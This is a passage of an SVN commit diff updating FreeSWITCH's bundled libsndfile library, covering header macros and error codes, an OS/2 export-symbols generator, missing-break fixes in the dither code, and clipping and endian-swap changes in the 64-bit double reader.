+	{	CASE_NAME (SFM_READ) ;
+		CASE_NAME (SFM_WRITE) ;
+		CASE_NAME (SFM_RDWR) ;
+
+		default :
+			break ;
+		} ;
+
+	return "BAD_MODE" ;
+} /* str_of_open_mode */
+
+const char *
+str_of_endianness (int end)
+{	switch (end)
+	{	CASE_NAME (SF_ENDIAN_BIG) ;
+		CASE_NAME (SF_ENDIAN_LITTLE) ;
+		CASE_NAME (SF_ENDIAN_CPU) ;
+		default :
+			break ;
+		} ;
+
+	/* Zero length string for SF_ENDIAN_FILE. */
+	return "" ;
+} /* str_of_endianness */

Modified: freeswitch/branches/seven/libs/libsndfile/src/common.h (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/common.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/common.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 1999-2006 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -37,6 +37,21 @@
 #error "This code is not designed to be compiled with a C++ compiler."
 #endif
 
+#if (SIZEOF_LONG == 8)
+#	define	SF_PLATFORM_S64(x)		x##l
+#elif COMPILER_IS_GCC || __SUNPRO_C
+#	define	SF_PLATFORM_S64(x)		x##ll
+#elif OS_IS_WIN32
+#	define	SF_PLATFORM_S64(x)		x##I64
+#else
+#	error "Don't know how to define a 64 bit integer constant."
+#endif
+
+
+
+/*
+** Inspiration : http://sourcefrog.net/weblog/software/languages/C/unused.html
+*/
 #ifdef UNUSED
 #elif defined (__GNUC__)
 #	define UNUSED(x) UNUSED_ ## x __attribute__ ((unused))
@@ -55,7 +70,7 @@
 #define	SF_BUFFER_LEN			(8192*2)
 #define	SF_FILENAME_LEN			(512)
 #define SF_SYSERR_LEN			(256)
-#define SF_MAX_STRINGS			(16)
+#define SF_MAX_STRINGS			(32)
 #define SF_STR_BUFFER_LEN		(8192)
 #define	SF_HEADER_LEN			(4100 + SF_STR_BUFFER_LEN)
 
@@ -72,9 +87,32 @@
 
 #define		ARRAY_LEN(x)	((int) (sizeof (x) / sizeof ((x) [0])))
 
+#if (COMPILER_IS_GCC == 1)
+#define		SF_MAX(x,y)		({ \
+								typeof (x) sf_max_x1 = (x) ; \
+								typeof (y) sf_max_y1 = (y) ; \
+								(void) (&sf_max_x1 == &sf_max_y1) ; \
+								sf_max_x1 > sf_max_y1 ? sf_max_x1 : sf_max_y1 ; })
+
+#define		SF_MIN(x,y)		({ \
+								typeof (x) sf_min_x2 = (x) ; \
+								typeof (y) sf_min_y2 = (y) ; \
+								(void) (&sf_min_x2 == &sf_min_y2) ; \
+								sf_min_x2 < sf_min_y2 ? sf_min_x2 : sf_min_y2 ; })
+#else
 #define		SF_MAX(a,b)		((a) > (b) ? (a) : (b))
 #define		SF_MIN(a,b)		((a) < (b) ? (a) : (b))
+#endif
 
+/*
+*	Macros for spliting the format file of SF_INFI into contrainer type,
+**	codec type and endian-ness.
+*/
+#define SF_CONTAINER(x)		((x) & SF_FORMAT_TYPEMASK)
+#define SF_CODEC(x)			((x) & SF_FORMAT_SUBMASK)
+#define SF_ENDIAN(x)		((x) & SF_FORMAT_ENDMASK)
+
+
 enum
 {	/* PEAK chunk location. */
 	SF_PEAK_START		= 42,
@@ -107,13 +145,10 @@
 {	/* Work in progress. */
 
 	/* Formats supported read only. */
-	SF_FORMAT_WVE			= 0x4020000,		/* Psion ALaw Sound File */
 	SF_FORMAT_TXW			= 0x4030000,		/* Yamaha TX16 sampler file */
 	SF_FORMAT_DWD			= 0x4040000,		/* DiamondWare Digirized */
 
 	/* Following are detected but not supported. */
-	SF_FORMAT_OGG			= 0x4090000,
-
 	SF_FORMAT_REX			= 0x40A0000,		/* Propellorheads Rex/Rcy */
 	SF_FORMAT_REX2			= 0x40D0000,		/* Propellorheads Rex2 */
 	SF_FORMAT_KRZ			= 0x40E0000,		/* Kurzweil sampler file */
@@ -121,8 +156,6 @@
 	SF_FORMAT_SHN			= 0x4110000,		/* Shorten. */
 
 	/* Unsupported encodings. */
-	SF_FORMAT_VORBIS		= 0x1001,
-
 	SF_FORMAT_SVX_FIB		= 0x1020, 		/* SVX Fibonacci Delta encoding. */
 	SF_FORMAT_SVX_EXP		= 0x1021, 		/* SVX Exponential Delta encoding. */
 
@@ -187,8 +220,18 @@
 **	contents.
 */
 
+
+typedef struct
+{	int size ;
+	SF_BROADCAST_INFO binfo ;
+} SF_BROADCAST_VAR ;
+
 typedef struct sf_private_tag
-{	/* Force the compiler to double align the start of buffer. */
+{
+	/* Canary in a coal mine. */
+	char canary [64] ;
+
+	/* Force the compiler to double align the start of buffer. */
 	union
 	{	double			dbuf	[SF_BUFFER_LEN / sizeof (double)] ;
 #if (defined (SIZEOF_INT64_T) && (SIZEOF_INT64_T == 8))
@@ -229,6 +272,8 @@
 	/* Guard value. If this changes the buffers above have overflowed. */
 	int				Magick ;
 
+	unsigned		unique_id ;
+
 	/* Index variables for maintaining logbuffer and header above. */
 	int				logindex ;
 	int				headindex, headend ;
@@ -250,7 +295,7 @@
 
 	int				mode ;			/* Open mode : SFM_READ, SFM_WRITE or SFM_RDWR. */
 	int				endian ;		/* File endianness : SF_ENDIAN_LITTLE or SF_ENDIAN_BIG. */
-	int				float_endswap ;	/* Need to endswap float32s? */
+	int				data_endswap ;	/* Need to endswap data? */
 
 	/*
 	** Maximum float value for calculating the multiplier for
@@ -259,6 +304,8 @@
 	int				float_int_mult ;
 	float			float_max ;
 
+	int				scale_int_float ;
+
 	/* Vairables for handling pipes. */
 	int				is_pipe ;		/* True if file is a pipe. */
 	sf_count_t		pipeoffset ;	/* Number of bytes read from a pipe. */
@@ -276,7 +323,7 @@
 	SF_INSTRUMENT	*instrument ;
 
 	/* Broadcast (EBU) Info */
-	SF_BROADCAST_INFO *broadcast_info ;
+	SF_BROADCAST_VAR *broadcast_var ;
 
 	/* Channel map data (if present) : an array of ints. */
 	int				*channel_map ;
@@ -317,8 +364,8 @@
 	int				auto_header ;
 
 	int				ieee_replace ;
+
 	/* A set of file specific function pointers */
-
 	sf_count_t		(*read_short)	(struct sf_private_tag*, short *ptr, sf_count_t len) ;
 	sf_count_t		(*read_int)		(struct sf_private_tag*, int *ptr, sf_count_t len) ;
 	sf_count_t		(*read_float)	(struct sf_private_tag*, float *ptr, sf_count_t len) ;
@@ -357,6 +404,8 @@
 	SFE_MALFORMED_FILE			= SF_ERR_MALFORMED_FILE,
 	SFE_UNSUPPORTED_ENCODING	= SF_ERR_UNSUPPORTED_ENCODING,
 
+	SFE_ZERO_MAJOR_FORMAT,
+	SFE_ZERO_MINOR_FORMAT,
 	SFE_BAD_FILE,
 	SFE_BAD_FILE_READ,
 	SFE_OPEN_FAILED,
@@ -381,10 +430,10 @@
 	SFE_NO_PIPE_WRITE,
 
 	SFE_INTERNAL,
-	SFE_BAD_CONTROL_CMD,
+	SFE_BAD_COMMAND_PARAM,
 	SFE_BAD_ENDIAN,
+	SFE_CHANNEL_COUNT_ZERO,
 	SFE_CHANNEL_COUNT,
-	SFE_BAD_RDWR_FORMAT,
 
 	SFE_BAD_VIRTUAL_IO,
 
@@ -402,6 +451,8 @@
 	SFE_OPEN_PIPE_RDWR,
 	SFE_RDWR_POSITION,
 	SFE_RDWR_BAD_HEADER,
+	SFE_CMD_HAS_DATA,
+	SFE_BAD_BROADCAST_INFO_SIZE,
 
 	SFE_STR_NO_SUPPORT,
 	SFE_STR_NOT_WRITE,
@@ -415,6 +466,7 @@
 	SFE_WAV_NO_RIFF,
 	SFE_WAV_NO_WAVE,
 	SFE_WAV_NO_FMT,
+	SFE_WAV_BAD_FMT,
 	SFE_WAV_FMT_SHORT,
 	SFE_WAV_BAD_FACT,
 	SFE_WAV_BAD_PEAK,
@@ -483,22 +535,17 @@
 	SFE_W64_64_BIT,
 	SFE_W64_NO_RIFF,
 	SFE_W64_NO_WAVE,
-	SFE_W64_NO_FMT,
 	SFE_W64_NO_DATA,
-	SFE_W64_FMT_SHORT,
-	SFE_W64_FMT_TOO_BIG,
 	SFE_W64_ADPCM_NOT4BIT,
 	SFE_W64_ADPCM_CHANNELS,
 	SFE_W64_GSM610_FORMAT,
 
 	SFE_MAT4_BAD_NAME,
 	SFE_MAT4_NO_SAMPLERATE,
-	SFE_MAT4_ZERO_CHANNELS,
 
 	SFE_MAT5_BAD_ENDIAN,
 	SFE_MAT5_NO_BLOCK,
 	SFE_MAT5_SAMPLE_RATE,
-	SFE_MAT5_ZERO_CHANNELS,
 
 	SFE_PVF_NO_PVF1,
 	SFE_PVF_BAD_HEADER,
@@ -531,6 +578,13 @@
 	SFE_FLAC_BAD_SAMPLE_RATE,
 	SFE_FLAC_UNKOWN_ERROR,
 
+	SFE_WVE_NOT_WVE,
+	SFE_WVE_NO_PIPE,
+
+	SFE_VORBIS_ENCODER_BUG,
+
+	SFE_RF64_NOT_RF64,
+
 	SFE_MAX_ERROR			/* This must be last in list. */
 } ;
 
@@ -556,7 +610,7 @@
 void	psf_log_printf		(SF_PRIVATE *psf, const char *format, ...) ;
 void	psf_log_SF_INFO 	(SF_PRIVATE *psf) ;
 
-void	psf_hexdump (void *ptr, int len) ;
+int32_t	psf_rand_int32 (void) ;
 
 /* Functions used when writing file headers. */
 
@@ -599,13 +653,11 @@
 const char* psf_get_string (SF_PRIVATE *psf, int str_type) ;
 int psf_set_string (SF_PRIVATE *psf, int str_type, const char *str) ;
 int psf_store_string (SF_PRIVATE *psf, int str_type, const char *str) ;
+int psf_location_string_count (const SF_PRIVATE * psf, int location) ;
 
 /* Default seek function. Use for PCM and float encoded data. */
 sf_count_t	psf_default_seek (SF_PRIVATE *psf, int mode, sf_count_t samples_from_start) ;
 
-/* Generate the currebt date as a string. */
-void	psf_get_date_str (char *str, int maxlen) ;
-
 int macos_guess_file_type (SF_PRIVATE *psf, const char *filename) ;
 
 /*------------------------------------------------------------------------------------
@@ -667,6 +719,8 @@
 int		xi_open		(SF_PRIVATE *psf) ;
 int		flac_open	(SF_PRIVATE *psf) ;
 int		caf_open	(SF_PRIVATE *psf) ;
+int		mpc2k_open	(SF_PRIVATE *psf) ;
+int		rf64_open	(SF_PRIVATE *psf) ;
 
 /* In progress. Do not currently work. */
 
@@ -704,6 +758,23 @@
 int		interleave_init (SF_PRIVATE *psf) ;
 
 /*------------------------------------------------------------------------------------
+** Chunk logging functions.
+*/
+
+typedef struct
+{	struct
+	{	int chunk ;
+		sf_count_t offset ;
+		sf_count_t len ;
+	} l [100] ;
+
+	int count ;
+} PRIV_CHUNK4 ;
+
+void pchk4_store (PRIV_CHUNK4 * pchk, int marker, sf_count_t offset, sf_count_t len) ;
+int pchk4_find (PRIV_CHUNK4 * pchk, int marker) ;
+
+/*------------------------------------------------------------------------------------
 ** Other helper functions.
 */
 
@@ -711,33 +782,34 @@
 
 SF_INSTRUMENT * psf_instrument_alloc (void) ;
 
+void	psf_sanitize_string (char * cptr, int len) ;
 
-SF_BROADCAST_INFO* broadcast_info_alloc (void) ;
-int		broadcast_info_copy (SF_BROADCAST_INFO* dst, SF_BROADCAST_INFO* src) ;
-int		broadcast_add_coding_history (SF_BROADCAST_INFO* bext, unsigned int channels, unsigned int samplerate) ;
+/* Generate the current date as a string. */
+void	psf_get_date_str (char *str, int maxlen) ;
 
+SF_BROADCAST_VAR* broadcast_var_alloc (size_t datasize) ;
+int		broadcast_var_set (SF_PRIVATE *psf, const SF_BROADCAST_INFO * data, size_t datasize) ;
+int		broadcast_var_get (SF_PRIVATE *psf, SF_BROADCAST_INFO * data, size_t datasize) ;
+
+
+typedef struct
+{	int channels ;
+	int endianness ;
+} AUDIO_DETECT ;
+
+int audio_detect (SF_PRIVATE * psf, AUDIO_DETECT *ad, const unsigned char * data, int datalen) ;
+
+
 /*------------------------------------------------------------------------------------
-** Here's how we fix systems which don't snprintf / vsnprintf.
-** Systems without these functions should use the
+** Helper/debug functions.
 */
 
-#if USE_WINDOWS_API
-#define	LSF_SNPRINTF	_snprintf
-#elif		(HAVE_SNPRINTF && ! FORCE_MISSING_SNPRINTF)
-#define	LSF_SNPRINTF	snprintf
-#else
-int missing_snprintf (char *str, size_t n, char const *fmt, ...) ;
-#define	LSF_SNPRINTF	missing_snprintf
-#endif
+void	psf_hexdump (const void *ptr, int len) ;
 
-#if USE_WINDOWS_API
-#define	LSF_VSNPRINTF	_vsnprintf
-#elif		(HAVE_VSNPRINTF && ! FORCE_MISSING_SNPRINTF)
-#define	LSF_VSNPRINTF	vsnprintf
-#else
-int missing_vsnprintf (char *str, size_t n, const char *fmt, ...) ;
-#define	LSF_VSNPRINTF	missing_vsnprintf
-#endif
+const char * str_of_major_format (int format) ;
+const char * str_of_minor_format (int format) ;
+const char * str_of_open_mode (int mode) ;
+const char * str_of_endianness (int end) ;
 
 /*------------------------------------------------------------------------------------
 ** Extra commands for sf_command(). Not for public use yet.
@@ -764,10 +836,3 @@
 
 #endif /* SNDFILE_COMMON_H */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: 7b45c0ee-5835-4a18-a4ef-994e4cd95b67
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/src/create_symbols_file.py (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/create_symbols_file.py	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/create_symbols_file.py	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 #!/usr/bin/python
 
-# Copyright (C) 2003,2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+# Copyright (C) 2003-2007 Erik de Castro Lopo <erikd@mega-nerd.com>
 #
 # All rights reserved.
 #
@@ -105,6 +105,18 @@
 	print
 	return
 
+def os2_symbols (progname, version, name):
+	print "; Auto-generated by %s\n" %progname
+	print "LIBRARY %s%s.dll" % (name, re.sub ("\..*", "", version))
+	print "INITINSTANCE TERMINSTANCE"
+	print "CODE PRELOAD MOVEABLE DISCARDABLE"
+	print "DATA PRELOAD MOVEABLE MULTIPLE NONSHARED"
+	print "EXPORTS\n"
+	for name, ordinal in ALL_SYMBOLS:
+        	print "_%-20s @%s" % (name, ordinal)
+	print
+	return
+
 def no_symbols (os_name):
 	print
 	print "No known way of restricting exported symbols on '%s'." % os_name
@@ -125,6 +137,7 @@
 	print "          darwin     (ie MacOSX)"
 	print "          win32      (ie wintendo)"
 	print "          cygwin     (Cygwin on wintendo)"
+	print "          os2        (OS/2)"
 	print
 	sys.exit (1)
 
@@ -139,14 +152,10 @@
 	win32_symbols (progname, version, "libsndfile")
 elif os_name == "cygwin":
 	win32_symbols (progname, version, "cygsndfile")
+elif os_name == "os2":
+	os2_symbols (progname, version, "sndfile")
 else:
 	no_symbols (os_name)
 
 sys.exit (0)
 
-# Do not edit or modify anything in this comment block.
-# The arch-tag line is a file identity tag for the GNU Arch
-# revision control system.
-#
-# arch-tag: 5814f35c-318f-4023-a0c3-d9cf7c9e5f6c
-
Property changes on: freeswitch/branches/seven/libs/libsndfile/src/create_symbols_file.py
___________________________________________________________________
Name: svn:executable
   + *

Modified: freeswitch/branches/seven/libs/libsndfile/src/dither.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/dither.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/dither.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2003,2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2003-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -128,11 +128,12 @@
 		if (pdither == NULL)
 			return SFE_MALLOC_FAILED ;
 
-		switch (psf->sf.format & SF_FORMAT_SUBMASK)
+		switch (SF_CODEC (psf->sf.format))
 		{	case SF_FORMAT_DOUBLE :
 			case SF_FORMAT_FLOAT :
 					pdither->read_int = psf->read_int ;
 					psf->read_int = dither_read_int ;
+					break ;
 
 			case SF_FORMAT_PCM_32 :
 			case SF_FORMAT_PCM_24 :
@@ -141,6 +142,7 @@
 			case SF_FORMAT_PCM_U8 :
 					pdither->read_short = psf->read_short ;
 					psf->read_short = dither_read_short ;
+					break ;
 
 			default : break ;
 			} ;
@@ -153,17 +155,19 @@
 		if (pdither == NULL)
 			return SFE_MALLOC_FAILED ;
 
-		switch (psf->sf.format & SF_FORMAT_SUBMASK)
+		switch (SF_CODEC (psf->sf.format))
 		{	case SF_FORMAT_DOUBLE :
 			case SF_FORMAT_FLOAT :
 					pdither->write_int = psf->write_int ;
 					psf->write_int = dither_write_int ;
+					break ;
 
 			case SF_FORMAT_PCM_32 :
 			case SF_FORMAT_PCM_24 :
 			case SF_FORMAT_PCM_16 :
 			case SF_FORMAT_PCM_S8 :
 			case SF_FORMAT_PCM_U8 :
+					break ;
 
 			default : break ;
 			} ;
@@ -194,16 +198,14 @@
 static void dither_double	(const double *in, double *out, int frames, int channels) ;
 
 static sf_count_t
-dither_read_short (SF_PRIVATE *psf, short *ptr, sf_count_t len)
-{	psf = psf ;
-	ptr = ptr ;
+dither_read_short (SF_PRIVATE * UNUSED (psf), short * UNUSED (ptr), sf_count_t len)
+{
 	return len ;
 } /* dither_read_short */
 
 static sf_count_t
-dither_read_int (SF_PRIVATE *psf, int *ptr, sf_count_t len)
-{	psf = psf ;
-	ptr = ptr ;
+dither_read_int (SF_PRIVATE * UNUSED (psf), int * UNUSED (ptr), sf_count_t len)
+{
 	return len ;
 } /* dither_read_int */
 
@@ -221,7 +223,7 @@
 		return 0 ;
 		} ;
 
-	switch (psf->sf.format & SF_FORMAT_SUBMASK)
+	switch (SF_CODEC (psf->sf.format))
 	{	case SF_FORMAT_PCM_S8 :
 		case SF_FORMAT_PCM_U8 :
 		case SF_FORMAT_DPCM_8 :
@@ -261,11 +263,12 @@
 		return 0 ;
 		} ;
 
-	switch (psf->sf.format & SF_FORMAT_SUBMASK)
+	switch (SF_CODEC (psf->sf.format))
 	{	case SF_FORMAT_PCM_S8 :
 		case SF_FORMAT_PCM_U8 :
 		case SF_FORMAT_PCM_16 :
 		case SF_FORMAT_PCM_24 :
+				break ;
 
 		case SF_FORMAT_DPCM_8 :
 		case SF_FORMAT_DPCM_16 :
@@ -306,11 +309,12 @@
 		return 0 ;
 		} ;
 
-	switch (psf->sf.format & SF_FORMAT_SUBMASK)
+	switch (SF_CODEC (psf->sf.format))
 	{	case SF_FORMAT_PCM_S8 :
 		case SF_FORMAT_PCM_U8 :
 		case SF_FORMAT_PCM_16 :
 		case SF_FORMAT_PCM_24 :
+				break ;
 
 		case SF_FORMAT_DPCM_8 :
 		case SF_FORMAT_DPCM_16 :
@@ -350,11 +354,12 @@
 		return 0 ;
 		} ;
 
-	switch (psf->sf.format & SF_FORMAT_SUBMASK)
+	switch (SF_CODEC (psf->sf.format))
 	{	case SF_FORMAT_PCM_S8 :
 		case SF_FORMAT_PCM_U8 :
 		case SF_FORMAT_PCM_16 :
 		case SF_FORMAT_PCM_24 :
+				break ;
 
 		case SF_FORMAT_DPCM_8 :
 		case SF_FORMAT_DPCM_16 :
@@ -526,10 +531,4 @@
 } /* DO_NOT_USE_sf_dither_double */
 
 #endif
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 673fad58-5314-421c-9144-9d54bfdf104c
-*/
+

Modified: freeswitch/branches/seven/libs/libsndfile/src/double64.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/double64.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/double64.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 1999-2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -21,11 +21,12 @@
 #include	<stdio.h>
 #include	<stdlib.h>
 #include	<string.h>
+#include	<limits.h>
+#include	<math.h>
 
 #include	"sndfile.h"
 #include	"sfendian.h"
 #include	"common.h"
-#include	"float_cast.h"
 
 #if CPU_IS_LITTLE_ENDIAN
 	#define DOUBLE64_READ	double64_le_read
@@ -97,7 +98,7 @@
 	if (psf->mode == SFM_READ || psf->mode == SFM_RDWR)
 	{	switch (psf->endian + double64_caps)
 		{	case (SF_ENDIAN_BIG + DOUBLE_CAN_RW_BE) :
-					psf->float_endswap = SF_FALSE ;
+					psf->data_endswap = SF_FALSE ;
 					psf->read_short		= host_read_d2s ;
 					psf->read_int		= host_read_d2i ;
 					psf->read_float		= host_read_d2f ;
@@ -105,7 +106,7 @@
 					break ;
 
 			case (SF_ENDIAN_LITTLE + DOUBLE_CAN_RW_LE) :
-					psf->float_endswap = SF_FALSE ;
+					psf->data_endswap = SF_FALSE ;
 					psf->read_short		= host_read_d2s ;
 					psf->read_int		= host_read_d2i ;
 					psf->read_float		= host_read_d2f ;
@@ -113,7 +114,7 @@
 					break ;
 
 			case (SF_ENDIAN_BIG + DOUBLE_CAN_RW_LE) :
-					psf->float_endswap = SF_TRUE ;
+					psf->data_endswap = SF_TRUE ;
 					psf->read_short		= host_read_d2s ;
 					psf->read_int		= host_read_d2i ;
 					psf->read_float		= host_read_d2f ;
@@ -121,7 +122,7 @@
 					break ;
 
 			case (SF_ENDIAN_LITTLE + DOUBLE_CAN_RW_BE) :
-					psf->float_endswap = SF_TRUE ;
+					psf->data_endswap = SF_TRUE ;
 					psf->read_short		= host_read_d2s ;
 					psf->read_int		= host_read_d2i ;
 					psf->read_float		= host_read_d2f ;
@@ -130,7 +131,7 @@
 
 			/* When the CPU is not IEEE compatible. */
 			case (SF_ENDIAN_BIG + DOUBLE_BROKEN_BE) :
-					psf->float_endswap = SF_FALSE ;
+					psf->data_endswap = SF_FALSE ;
 					psf->read_short		= replace_read_d2s ;
 					psf->read_int		= replace_read_d2i ;
 					psf->read_float		= replace_read_d2f ;
@@ -138,7 +139,7 @@
 					break ;
 
 			case (SF_ENDIAN_LITTLE + DOUBLE_BROKEN_LE) :
-					psf->float_endswap = SF_FALSE ;
+					psf->data_endswap = SF_FALSE ;
 					psf->read_short		= replace_read_d2s ;
 					psf->read_int		= replace_read_d2i ;
 					psf->read_float		= replace_read_d2f ;
@@ -146,7 +147,7 @@
 					break ;
 
 			case (SF_ENDIAN_BIG + DOUBLE_BROKEN_LE) :
-					psf->float_endswap = SF_TRUE ;
+					psf->data_endswap = SF_TRUE ;
 					psf->read_short		= replace_read_d2s ;
 					psf->read_int		= replace_read_d2i ;
 					psf->read_float		= replace_read_d2f ;
@@ -154,7 +155,7 @@
 					break ;
 
 			case (SF_ENDIAN_LITTLE + DOUBLE_BROKEN_BE) :
-					psf->float_endswap = SF_TRUE ;
+					psf->data_endswap = SF_TRUE ;
 					psf->read_short		= replace_read_d2s ;
 					psf->read_int		= replace_read_d2i ;
 					psf->read_float		= replace_read_d2f ;
@@ -168,7 +169,7 @@
 	if (psf->mode == SFM_WRITE || psf->mode == SFM_RDWR)
 	{	switch (psf->endian + double64_caps)
 		{	case (SF_ENDIAN_LITTLE + DOUBLE_CAN_RW_LE) :
-					psf->float_endswap = SF_FALSE ;
+					psf->data_endswap = SF_FALSE ;
 					psf->write_short	= host_write_s2d ;
 					psf->write_int		= host_write_i2d ;
 					psf->write_float	= host_write_f2d ;
@@ -176,7 +177,7 @@
 					break ;
 
 			case (SF_ENDIAN_BIG + DOUBLE_CAN_RW_BE) :
-					psf->float_endswap = SF_FALSE ;
+					psf->data_endswap = SF_FALSE ;
 					psf->write_short	= host_write_s2d ;
 					psf->write_int		= host_write_i2d ;
 					psf->write_float	= host_write_f2d ;
@@ -184,7 +185,7 @@
 					break ;
 
 			case (SF_ENDIAN_BIG + DOUBLE_CAN_RW_LE) :
-					psf->float_endswap = SF_TRUE ;
+					psf->data_endswap = SF_TRUE ;
 					psf->write_short	= host_write_s2d ;
 					psf->write_int		= host_write_i2d ;
 					psf->write_float	= host_write_f2d ;
@@ -192,7 +193,7 @@
 					break ;
 
 			case (SF_ENDIAN_LITTLE + DOUBLE_CAN_RW_BE) :
-					psf->float_endswap = SF_TRUE ;
+					psf->data_endswap = SF_TRUE ;
 					psf->write_short	= host_write_s2d ;
 					psf->write_int		= host_write_i2d ;
 					psf->write_float	= host_write_f2d ;
@@ -201,7 +202,7 @@
 
 			/* When the CPU is not IEEE compatible. */
 			case (SF_ENDIAN_LITTLE + DOUBLE_BROKEN_LE) :
-					psf->float_endswap = SF_FALSE ;
+					psf->data_endswap = SF_FALSE ;
 					psf->write_short	= replace_write_s2d ;
 					psf->write_int		= replace_write_i2d ;
 					psf->write_float	= replace_write_f2d ;
@@ -209,7 +210,7 @@
 					break ;
 
 			case (SF_ENDIAN_BIG + DOUBLE_BROKEN_BE) :
-					psf->float_endswap = SF_FALSE ;
+					psf->data_endswap = SF_FALSE ;
 					psf->write_short	= replace_write_s2d ;
 					psf->write_int		= replace_write_i2d ;
 					psf->write_float	= replace_write_f2d ;
@@ -217,7 +218,7 @@
 					break ;
 
 			case (SF_ENDIAN_BIG + DOUBLE_BROKEN_LE) :
-					psf->float_endswap = SF_TRUE ;
+					psf->data_endswap = SF_TRUE ;
 					psf->write_short	= replace_write_s2d ;
 					psf->write_int		= replace_write_i2d ;
 					psf->write_float	= replace_write_f2d ;
@@ -225,7 +226,7 @@
 					break ;
 
 			case (SF_ENDIAN_LITTLE + DOUBLE_BROKEN_BE) :
-					psf->float_endswap = SF_TRUE ;
+					psf->data_endswap = SF_TRUE ;
 					psf->write_short	= replace_write_s2d ;
 					psf->write_int		= replace_write_i2d ;
 					psf->write_float	= replace_write_f2d ;
@@ -300,9 +301,9 @@
 		dvalue *= -1 ;
 
 	if (exponent > 0)
-		dvalue *= (1 << exponent) ;
+		dvalue *= pow (2.0, exponent) ;
 	else if (exponent < 0)
-		dvalue /= (1 << abs (exponent)) ;
+		dvalue /= pow (2.0, abs (exponent)) ;
 
 	return dvalue ;
 } /* double64_be_read */
@@ -333,9 +334,9 @@
 		dvalue *= -1 ;
 
 	if (exponent > 0)
-		dvalue *= (1 << exponent) ;
+		dvalue *= pow (2.0, exponent) ;
 	else if (exponent < 0)
-		dvalue /= (1 << abs (exponent)) ;
+		dvalue /= pow (2.0, abs (exponent)) ;
 
 	return dvalue ;
 } /* double64_le_read */
@@ -478,20 +479,48 @@
 /*=======================================================================================
 */
 
-static inline void
+static void
 d2s_array (const double *src, int count, short *dest, double scale)
 {	while (--count >= 0)
 	{	dest [count] = lrint (scale * src [count]) ;
 		} ;
 } /* d2s_array */
 
-static inline void
+static void
+d2s_clip_array (const double *src, int count, short *dest, double scale)
+{	while (--count >= 0)
+	{	double tmp = scale * src [count] ;
+
+		if (CPU_CLIPS_POSITIVE == 0 && tmp > 32767.0)
+			dest [count] = SHRT_MAX ;
+		else if (CPU_CLIPS_NEGATIVE == 0 && tmp < -32768.0)
+			dest [count] = SHRT_MIN ;
+		else
+			dest [count] = lrint (tmp) ;
+		} ;
+} /* d2s_clip_array */
+
+static void
 d2i_array (const double *src, int count, int *dest, double scale)
 {	while (--count >= 0)
 	{	dest [count] = lrint (scale * src [count]) ;
 		} ;
 } /* d2i_array */
 
+static void
+d2i_clip_array (const double *src, int count, int *dest, double scale)
+{	while (--count >= 0)
+	{	float tmp = scale * src [count] ;
+
+		if (CPU_CLIPS_POSITIVE == 0 && tmp > (1.0 * INT_MAX))
+			dest [count] = INT_MAX ;
+		else if (CPU_CLIPS_NEGATIVE == 0 && tmp < (-1.0 * INT_MAX))
+			dest [count] = INT_MIN ;
+		else
+			dest [count] = lrint (tmp) ;
+		} ;
+} /* d2i_clip_array */
+
 static inline void
 d2f_array (const double *src, int count, float *dest)
 {	while (--count >= 0)
@@ -500,16 +529,16 @@
 } /* d2f_array */
 
 static inline void
-s2d_array (const short *src, double *dest, int count)
+s2d_array (const short *src, double *dest, int count, double scale)
 {	while (--count >= 0)
-	{	dest [count] = src [count] ;
+	{	dest [count] = scale * src [count] ;
 		} ;
 } /* s2d_array */
 
 static inline void
-i2d_array (const int *src, double *dest, int count)
+i2d_array (const int *src, double *dest, int count, double scale)
 {	while (--count >= 0)
-	{	dest [count] = src [count] ;
+	{	dest [count] = scale * src [count] ;
 		} ;
 } /* i2d_array */
 
@@ -525,10 +554,12 @@
 
 static sf_count_t
 host_read_d2s	(SF_PRIVATE *psf, short *ptr, sf_count_t len)
-{	int			bufferlen, readcount ;
+{	void		(*convert) (const double *, int, short *, double) ;
+	int			bufferlen, readcount ;
 	sf_count_t	total = 0 ;
 	double		scale ;
 
+	convert = (psf->add_clipping) ? d2s_clip_array : d2s_array ;
 	bufferlen = ARRAY_LEN (psf->u.dbuf) ;
 	scale = (psf->float_int_mult == 0) ? 1.0 : 0x7FFF / psf->float_max ;
 
@@ -537,10 +568,10 @@
 			bufferlen = (int) len ;
 		readcount = psf_fread (psf->u.dbuf, sizeof (double), bufferlen, psf) ;
 
-		if (psf->float_endswap == SF_TRUE)
+		if (psf->data_endswap == SF_TRUE)
 			endswap_double_array (psf->u.dbuf, readcount) ;
 
-		d2s_array (psf->u.dbuf, readcount, ptr + total, scale) ;
